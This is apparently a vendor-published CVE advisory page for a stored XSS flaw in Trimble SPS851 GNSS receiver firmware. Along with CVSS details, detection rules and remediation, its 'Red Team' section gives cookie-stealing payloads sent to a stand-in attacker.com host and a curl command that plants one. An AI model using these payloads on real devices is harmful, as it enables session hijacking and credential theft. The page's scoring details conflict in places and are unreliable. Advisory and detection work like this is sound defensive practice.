☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0219

CVE-2025-0219 Cross-Site Scripting in Trimble
📅 PUBLISHED: 2025-01-05 05:31 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0219 is a publicly disclosed, unpatched stored cross-site scripting (XSS) vulnerability affecting the Trimble SPS851 GNSS receiver firmware version 488.01. The flaw resides in the Receiver Status Identity Tab, where the System Name argument is not properly sanitized, allowing an attacker to inject arbitrary JavaScript or HTML. This attack can be launched remotely without authentication, but requires user interaction (e.g., an operator viewing the status tab). The vendor (Trimble) was contacted but did not respond, leaving the device in an unpatched state. Given the critical role of GNSS receivers in surveying, construction, and agriculture, exploitation could lead to session hijacking, credential theft, or manipulation of displayed data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Trimble SPS851). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – no authentication needed.
  • User Interaction: Required (UI:R) – victim must view the affected tab.
  • Scope: Unchanged (S:U) – vulnerable component only.
  • Confidentiality Impact: Low (C:L) – limited data exposure.
  • Integrity Impact: Low (I:L) – limited modification of content.
  • Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The attack is easy to execute but requires user interaction. However, the lack of a patch and public exploit disclosure increases the risk for unmonitored devices.

Deep Dive & Mechanics

The Trimble SPS851 is a GNSS receiver used for high-precision positioning. The web-based management interface includes a "Receiver Status Identity Tab" that displays device information. The System Name field is user-configurable and is rendered in the web interface without proper output encoding or sanitization.

Root Cause: The application fails to escape HTML entities (e.g., <, >, ", ') when displaying the System Name parameter. An attacker can set the system name to a payload like <script>alert('XSS')</script>. When an administrator or operator views the status tab, the script executes in their browser context.

Attack Flow:

  1. Attacker identifies a Trimble SPS851 device (e.g., via Shodan or network scan).
  2. Attacker sends a crafted HTTP request to the device’s configuration endpoint, setting the System Name to a malicious payload.
  3. The device stores the payload in its configuration.
  4. A legitimate user (e.g., surveyor) accesses the Receiver Status Identity Tab.
  5. The payload executes, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.

Impact: Session hijacking, credential theft, defacement, or further exploitation of the internal network.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (Conceptual – PHP/HTML):

<?php
$systemName = $_POST['system_name']; // No sanitization
echo "<div>System Name: " . $systemName . "</div>";
?>

Patched Code (Conceptual – Secure):

<?php
$systemName = htmlspecialchars($_POST['system_name'], ENT_QUOTES, 'UTF-8');
echo "<div>System Name: " . $systemName . "</div>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A Trimble SPS851 device (or emulator) on the same network.
  • Access to the device’s web interface (default credentials may be required for configuration).

Exploit Payload (Stored XSS):

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

  1. Identify the device IP (e.g., 192.168.1.100).
  2. Send a POST request to the configuration endpoint (e.g., /config/system_name):
    curl -X POST http://192.168.1.100/config/system_name -d "system_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
    
  3. Wait for an operator to view the status tab.
  4. Receive the stolen cookie on your attacker server.

Alternative Payload (Phishing):

<img src=x onerror="document.location='http://attacker.com/fake-login?user='+document.cookie">

Blue Team (Defensive)

Detection:

  • Monitor HTTP requests to the device for unusual system_name parameters containing <script>, <img>, or onerror patterns.
  • Use network segmentation to isolate GNSS receivers from the internet.
  • Implement a Web Application Firewall (WAF) to block XSS payloads.

Honeypot:

  • Deploy a fake Trimble SPS851 interface to capture attacker behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /config/system_name with HTML/JavaScript payloads.
    • Outbound connections from the device to unknown IPs (e.g., attacker-controlled servers).
  • Host IOCs:
    • Unusual entries in the device’s configuration logs (e.g., system_name containing <script>).
    • Modified System Name field in the web interface.
  • File IOCs:
    • No file-based IOCs (embedded device).

Detection Engineering

YARA Rule

rule CVE_2025_0219_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Trimble SPS851 System Name field"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-0219"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Trimble SPS851 XSS Attempt via System Name
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to Trimble SPS851 with XSS payloads in system_name parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/config/system_name'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in system name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0219 Trimble SPS851 XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/config/system_name"; http_uri; content:"system_name"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the device: Place the Trimble SPS851 on a separate VLAN with strict firewall rules. Block inbound/outbound internet access.
  2. Disable unnecessary services: If the web interface is not required, disable it via device configuration.
  3. Monitor logs: Enable logging and monitor for suspicious POST requests to /config/system_name.

Long-Term Fix:

  • Vendor patch: Since Trimble has not responded, consider replacing the device or applying a reverse proxy (e.g., Nginx) to sanitize input/output.
  • Custom WAF rule: Deploy a WAF (e.g., ModSecurity) to block XSS payloads before they reach the device.

Workaround:

  • Use a script to periodically reset the System Name to a safe value (e.g., via cron job).

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0219/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.